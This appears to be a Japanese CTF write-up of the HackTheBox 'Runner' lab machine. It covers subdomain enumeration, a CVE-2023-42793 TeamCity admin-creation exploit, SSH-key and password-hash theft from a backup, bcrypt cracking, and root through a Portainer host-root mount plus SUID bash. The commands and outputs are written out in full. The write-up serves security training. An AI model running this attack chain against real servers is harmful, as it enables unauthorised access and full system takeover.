HackTheBox Runner WriteUp

今回はHackTheBoxのMediumマシン「Runner」のWriteUpです！
名前とアイコンがまさにランナーですが、一体どのようなマシンなのでしょうか。

![スクリーンショット 2024-08-28 20.51.23.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/e8d7b094-8bc3-924b-f57f-4b130606e21a.png)

グラフはいつものMediumマシンという感じですね。
評価が高いので、面白そうです。サクッと攻略目指して頑張ります！

HackTheBoxって何？という方は下記の記事を見てみてください！一緒にハッキングしましょう〜！

https://qiita.com/WhizOwl/items/165783694cb4791cff34

また、HackTheBoxで学習する上で役にたつサイトやツールをまとめている記事もあるので、合わせてみてみてください！

https://qiita.com/Perplex/items/30f949fe261f56af7476


## Runner

### 列挙

では攻略を始めていきましょう！
まずは```nmap```から実行していきます。

```bash
+[~/runner]
(σ▰>∇<)σ<10.10.14.61>$ sudo nmap -Pn -n -v -sS -p- --min-rate=1000 -A 10.129.87.174

PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp   open  http        nginx 1.18.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://runner.htb/
8000/tcp open  nagios-nsca Nagios NSCA
|_http-title: Site doesnt have a title (text/plain; charset=utf-8).
```

80番と8000番がオープンしていました。
どちらもHTTPなので、とりあえずブラウザで確認してみましょう。

![スクリーンショット 2024-04-24 23.42.38.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/82452767-86af-148b-4c32-245671e7e100.png)

80番はCI/CDのサイトのようです。8000番もみてみましょう。

![スクリーンショット 2024-04-24 23.44.46.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/d4e453f4-be5a-6680-10db-c4d25aedb99a.png)

404が返ってきました。
ディレクトリ探索など行いましたが、特に情報がなかったのでサブドメインを列挙することにしました。```ffuf```を実行しましょう。

```
+[~/runner]
(σ▰>∇<)σ<10.10.14.4>$ ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/namelist.txt -u http://runner.htb -H 'HOST: FUZZ.runner.htb'

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://FUZZ.runner.htb
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/namelist.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

teamcity                [Status: 401, Size: 66, Words: 8, Lines: 2, Duration: 214ms]
```

かなり時間はかかりましたが、```teamcity```というサブドメインを発見しました。
```hosts```ファイルに追記し、ブラウザでアクセスしてみましょう。

![スクリーンショット 2024-04-25 0.45.40.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/549ddd28-ec83-85f9-7bd8-8a64d82482b1.png)

ログイン画面が表示されました。

### CVE-2023-42793

バージョンが```2023.05.3```のようなので、脆弱性がないかを確認してみると、以下の脆弱性を発見しました。

https://www.exploit-db.com/exploits/51884

どうやら、adminアカウントを作成するエクスプロイトのようです。試しに実行してみましょう。

```bash
+[~/runner]
(σ▰>∇<)σ<10.10.14.61>$ python3 poc.py -u http://teamcity.runner.htb 

=====================================================
*       CVE-2023-42793                              *
*  TeamCity Admin Account Creation                  *   
*                                                   *
*  Author: ByteHunter                               *
=====================================================

Token: eyJ0eXAiOiAiVENWMiJ9.Z3F3aTZtTVQxVXo4S0N6a0VIdXJ4c2RyUXJN.YjY1OGYzOWMtYTFjZS00OWM5LWE1MzAtZTZkZjUyMGIyNTQ3
Successfully exploited!
URL: http://teamcity.runner.htb
Username: city_adminTOdK
Password: Main_password!!**
```

最終的に、ユーザ名とパスワードが出力されました。この認証情報を使用してログインできるようなので、ログインしてみます。

![スクリーンショット 2024-04-25 0.54.51.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/51faf875-e6fb-427e-8db0-826f7461b405.png)

ログインに成功しました！
では、ここから侵入を目指していきます。管理者としてログインできたので、スクリプトを実行するような機能があればシェルを取得できそうです。
調べてみると、Exploit Notesに情報がありました。

https://exploit-notes.hdks.org/exploit/web/teamcity-pentesting/

手順に従って、リバースシェルの取得を目指しましょう。
と、思いましたが```TeamCity```はサーバのバックアップを取得することができる機能があるようなので、先にそちらを試してみました。
まず```Server Administration```から```Backup```を選択し、```Start Backup```というボタンを押下します。すると、バックアップが開始され、ZIPファイルのリンクが表示されます。

![スクリーンショット 2024-04-27 17.38.29.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/9c509464-c7b2-ed04-ea2c-524f0850c92a.png)

リンクを押下し、ZIPファイルを解凍させていきましょう。

```bash
+[~/runner]
(σ▰>∇<)σ<10.10.14.4>$ unzip ./TeamCity_Backup_20240427_082900.zip 
Archive:  ./TeamCity_Backup_20240427_082900.zip
TeamCity data backup; ZIP factory in use: memory-conservative (dynamic, shared); compression level -1.
  inflating: version.txt             
  inflating: metadata/metadata-version.dat  
  inflating: charset                 
  inflating: metadata/backup.config  
  inflating: metadata/schema.config  
```

設定ファイルなどが複数あります。認証情報などが書かれていそうなので、中身を見てみようと思いましたが、抽出の中に激アツなファイルを発見しました。

```bash
+[~/…/projects/AllProjects/pluginData/ssh_keys]
(σ▰>∇<)σ<10.10.14.4>$ ls -l 
total 4
---------- 1 kali kali 2590 Feb 28 19:56 id_rsa
```

SSHキーがあります！

## John としてのシェル

このファイルを使用してSSH接続が行えそうなので、試してみます。問題はどのようなユーザで試すのかですが、```TeamCity```をみると、存在しているユーザがわかりました。

![スクリーンショット 2024-04-27 17.44.07.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/bb3b6bcc-092c-0d94-3e74-d6d9aceb0da3.png)

メールアドレスからみて、```John```というユーザと```Matthew```というユーザでSSH接続を狙えそうです。まずは、```john```から試してみましょう。

```bash
+[~/…/projects/AllProjects/pluginData/ssh_keys]
(σ▰>∇<)σ<10.10.14.4>$ ssh -i id_rsa john@10.10.11.13               

john@runner:~$ whoami
john
```

初期侵入に成功しました！

```bash
john@runner:~$ ls -l
total 4
-rw-r----- 1 root john 33 Apr 25 23:02 user.txt
```

ユーザフラグも取得できました！

### 垂直権限昇格

ユーザフラグが取れたので、権限昇格を目指していきましょう！
と、その前に```id```コマンドを実行すると、UIDが「1001」であることがわかりました。

```bash
john@runner:/home$ id
uid=1001(john) gid=1001(john) groups=1001(john)
```

通常UIDは「1000」であることが多いので、横移動が必要かもしれません。```home```ディレクトリを確認してみると、```TeamCity```でも確認できていた```matthew```というユーザが存在していることがわかります。

```bash
john@runner:/home$ ls -l
total 8
drwxr-x--- 4 john    john    4096 Apr 27 01:25 john
drwxr-x--- 5 matthew matthew 4096 Apr 27 01:21 matthew
```

一旦ユーザの存在をメモしておき、次に進んでいきます。
では、試しに```sudo -l```を実行してみましょう。

```bash
john@runner:~$ sudo -l
[sudo] password for john: 
sudo: a password is required
```

パスワードが求められたので、```sudo```は実行できないようです。
プロセスや権限を調査していく中で、対象にはローカルで実行されているサービスがあることに気づきました。

```bash
john@runner:~$ netstat -lntp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.1:5005          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:9000          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:8111          0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:9443          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::8000                 :::*                    LISTEN      -                   
tcp6       0      0 :::80                   :::*                    LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -     
```

もしかしたらWEBのサービスである可能性があります。構成を調査するために、```nginx```の```sites-enabled```ディレクトリ内を確認してみることにしました。

```bash
john@runner:/etc/nginx/sites-enabled$ ls -la
total 8
drwxr-xr-x 2 root root 4096 Apr  4 10:24 .
drwxr-xr-x 8 root root 4096 Apr  4 10:24 ..
lrwxrwxrwx 1 root root   34 Feb 28 10:07 default -> /etc/nginx/sites-available/default
lrwxrwxrwx 1 root root   36 Feb 28 20:31 portainer -> /etc/nginx/sites-available/portainer
lrwxrwxrwx 1 root root   35 Feb 28 10:11 teamcity -> /etc/nginx/sites-available/teamcity
```

すると、```teamcity```とは別に```portainer```というファイルを発見しました。内容を確認してみます。

```bash
john@runner:/etc/nginx/sites-enabled$ cat portainer
server {
    listen 80;
    server_name portainer-administration.runner.htb;

    location / {
        proxy_pass https://localhost:9443;
        proxy_http_version 1.1;
        proxy_set_header Upgrade $http_upgrade;
        proxy_set_header Connection 'upgrade';
        proxy_set_header Host $host;
        proxy_cache_bypass $http_upgrade;
    }
}
```

新たなサブドメインを発見しました！```hosts```ファイルに追記し、ブラウザでアクセスしてみましょう。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/ffc78baa-68a4-e586-6602-b67d7514a176.png)

ログイン画面が表示されました！
認証情報を取得する必要がありそうです。

### Hash Crack

認証情報を取得するため、再度サーバ内の探索に戻ります。
色々と列挙していると、```TeamCity```は```matthew```ユーザの権限で実行されていることがわかりました。

```bash
john@runner:/data/teamcity_server$ ls -la
total 16
drwxr-xr-x 4 root    root    4096 Feb 28 10:31 .
drwxr-xr-x 9 root    root    4096 Feb 28 10:31 ..
drwxr-xr-x 7 matthew matthew 4096 Apr 27 08:29 datadir
drwxr-xr-x 6 matthew matthew 4096 Apr 27 09:38 logs
```

なので、先ほどバックアップとして取得した設定ファイルの中に認証情報があるかもしれないと考えました。
設定ファイルは複数あるので、```grep```を使用して一気に確認してみましょう。

```bash
+[~/runner]
(σ▰>∇<)σ<10.10.14.4>$ grep 'matthew' -rl ./ 
./database_dump/vcs_username
./database_dump/users
```

検索したところ、```matthew```という文字列を含むファイルが2つ見つかりました。どのような内容かをみてみると、、

```bash
+[~/runner]
(σ▰>∇<)σ<10.10.14.4>$ cat ./database_dump/users       
ID, USERNAME, PASSWORD, NAME, EMAIL, LAST_LOGIN_TIMESTAMP, ALGORITHM
1, admin, $2a$07$neV5T/BlEDiMQUs.gM1p4uYl8xl8kvNUo4/8Aja2sAWHAQLWqufye, John, john@runner.htb, 1714206402128, BCRYPT
2, matthew, $2a$07$q.m8WQP8niXODv55lJVovOmxGtg6K/YPHbD48/JQsdGLulmeVo.Em, Matthew, matthew@runner.htb, 1714179740622, BCRYPT
11, 37rd7c58, $2a$07$j0dhpwggEbrgMuK.3xZZGuIV76BIlFkPQO/IgnsxMCfS7Rdshgw/a, , 37rd7c58@example.com, 1714089662353, BCRYPT
12, city_admine0z1, $2a$07$FnZsjhEwx4DZ3J37KQgkwejWYipMdpz7.rNDl9fxUHef4D.3yb1dC, , angry-admin@funnybunny.org, 1714206487216, BCRYPT
```

```users```というファイルにハッシュ化されたパスワードを発見しました！
```matthew```のハッシュを解読できないか試してみます。

```bash
+[~/runner]
(σ▰>∇<)σ<10.10.14.4>$ john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X2])
Cost 1 (iteration count) is 128 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
piper123         (?)     
1g 0:00:00:53 DONE (2024-04-27 18:51) 0.01860g/s 968.2p/s 968.2c/s 968.2C/s popop..photosynthesis
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 
```

ハッシュが解読できました！
SSHログインや```su```によるログインができないか試しましたが、ログインには成功しませんでした。
では、新たに見つけたログインページの認証に成功するか試してみます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/4d8bd700-efe0-c2dc-097a-9b0940c07830.png)

ログインに成功しました！

### Portainer 

それでは、本格的に権限昇格を目指します。私はコンテナへの攻撃手法を日頃から勉強しているのですぐにわかったのですが、実は```Portainer```を使用して、権限昇格を行うことが可能です。
以下のような記事も公開されています。

https://rioasmara.com/2021/08/15/use-portainer-for-privilege-escalation/

記事にも書いてありますが、ルートディレクトリ（```/```）をマウントすることで権限昇格を成功させます。
さっそく取り掛かりましょう。まずはマウントに使用するボリュームを作成する必要があります。```Volumes```へ移動しましょう。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/97a22300-8ef7-f2d6-8d27-6e6f6d1084b0.png)

現状で2つのボリュームが作成されていますが、今回は新規に作成するので右上の```+ Add volume```を押下します。ボリュームの作成画面に遷移するので、必要事項を入力していきます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/fb6a42c9-8e44-2777-eea7-f236d8871f63.png)

名前は適当でいいですが、オプションは重要です。それぞれを指定することでルートディレクトリをマウントすることが可能になります。
指定ができたら、```Create the volume```を押下し完了させましょう。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/686a9e8c-1c97-6aa6-76d5-8e813773f1a1.png)

これで、ボリュームの準備は完了です。
次にコンテナの作成に使用するイメージのIDをコピーします。```images```にすでに存在するイメージを確認できます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/e70cf17a-79b5-6eeb-014e-91e720b68370.png)


今回は「```ubuntu:latest```」のものを使用します。
IDがコピーできたら、次はコンテナを作成していきます。コンテナの作成は```Containers```で行います。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/94ba62e6-dfce-eed8-651a-a0694ce9b1cb.png)

リストの右上の```+ Add container```を押下し、イメージの部分に先ほどのIDを指定します。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/83767510-7be3-9c7c-cfc1-56830f8613d7.png)

指定ができたら、下にスクロールし```Advanced container settings```にある```console```を```Interactive & TTY```へ変更します。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/e7222971-272b-c799-7776-b45b9b3de31b.png)

変更出来たら、```Volumes```へ移動し、```+ map additional volume```を押下します。
押下後入力欄が表示されるので、```container```には```/mnt/root```を入力し、```volume```には先ほど作成したボリュームを選択します。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/380ded4d-5005-2a43-6cf3-5b39dd2b7224.png)

これで準備完了です！```Deploy the container```を押下しコンテナをデプロイしましょう。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/5c602ba1-4313-bc79-98fa-42ff335c762c.png)

作成に成功しました！それでは、作成したコンテナを押下し```Container status```の中にある```Console```を選択します。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/cfce692e-4c34-9f76-d014-e37176a54672.png)

するとコマンドを選択しシェルに接続する画面が表示されるので特に変更せずに```Connect```を押下します。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/8e2db32c-3fcd-e836-52c8-bd42cdbc56bb.png)

コンテナに接続できました。それではマウント先を確認しに行きましょう。

```bash
root@c2c1bea51721:/mnt/root# ls -l
total 80
lrwxrwxrwx   1 root root     7 Feb 17  2023 bin -> usr/bin
drwxr-xr-x   3 root root  4096 Apr 15 09:44 boot
drwxr-xr-x   9 root root  4096 Feb 28 10:31 data
drwxr-xr-x   4 root root  4096 Feb 17  2023 dev
drwxr-xr-x 101 root root  4096 Apr 15 09:35 etc
drwxr-xr-x   4 root root  4096 Apr  4 10:24 home
lrwxrwxrwx   1 root root     7 Feb 17  2023 lib -> usr/lib
lrwxrwxrwx   1 root root     9 Feb 17  2023 lib32 -> usr/lib32
lrwxrwxrwx   1 root root     9 Feb 17  2023 lib64 -> usr/lib64
lrwxrwxrwx   1 root root    10 Feb 17  2023 libx32 -> usr/libx32
drwx------   2 root root 16384 Apr 27  2023 lost+found
drwxr-xr-x   2 root root  4096 Feb 17  2023 media
drwxr-xr-x   2 root root  4096 Feb 17  2023 mnt
drwxr-xr-x   4 root root  4096 Apr  4 10:24 opt
drwxr-xr-x   2 root root  4096 Apr  4 10:24 proc
drwx------   6 root root  4096 Apr 25 23:02 root
drwxr-xr-x  14 root root  4096 Apr  4 10:24 run
lrwxrwxrwx   1 root root     8 Feb 17  2023 sbin -> usr/sbin
drwxr-xr-x   2 root root  4096 Apr  4 10:24 srv
drwxr-xr-x   2 root root  4096 Apr 18  2022 sys
drwxrwxrwt   7 root root  4096 Apr 27 14:07 tmp
drwxr-xr-x  14 root root  4096 Feb 17  2023 usr
drwxr-xr-x  13 root root  4096 Feb 28 10:07 var
```

マウントに成功していそうです！

## root としてのシェル

それでは権限を昇格させましょう！正直権限昇格を行わずルートフラグを読むこともできますが、どうせならきちんと攻略してしまいましょう。
わたしはいつも```/bin/bash```にSUIDを付与する方法で権限昇格を行うので、今回もその手法で行きます。マウント先なので、パスに注意してください。

```bash
root@c2c1bea51721:/mnt/root# chmod u+s bin/bash
```

ホスト側でSUIDが付与されているか確認しましょう。

```bash
john@runner:~$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1396520 Mar 14 11:31 /bin/bash
```

SUIDが付与されています！権限を昇格させましょう！

```bash
john@runner:~$ bash -p
bash-5.1# whoami
root
```

権限昇格成功です！

```bash
bash-5.1# ls -l /root
total 16
-rwxr-xr-x 1 root root  378 Apr  4 13:03 docker_clean.sh
-rw-r--r-- 1 root root 1907 Apr  2 14:00 initial_state.txt
-rwxr-xr-x 1 root root  592 Apr  2 13:55 monitor.sh
-rw-r----- 1 root root   33 Apr 25 23:02 root.txt
```

フラグも無事ゲットできました！完全攻略達成です！

### 攻略を終えて

今回は私の好きな技術であるコンテナが権限昇格で使用されていて個人的にかなり楽しいマシンでした。知っていたということもありサクッと攻略でしたが、portainer.ioを初めてみる人は少し苦戦するのではと思います。初期侵入は、TeamCityの脆弱性を悪用しました。こちらの脆弱性はバージョンから起因するものなので、やはりバージョン管理には重きを置いて確実に対応していきたいですね。
今後もHackTheBoxのWriteUpを公開していくので、みていただけると嬉しいです！
最後まで閲覧していただき、ありがとうございました！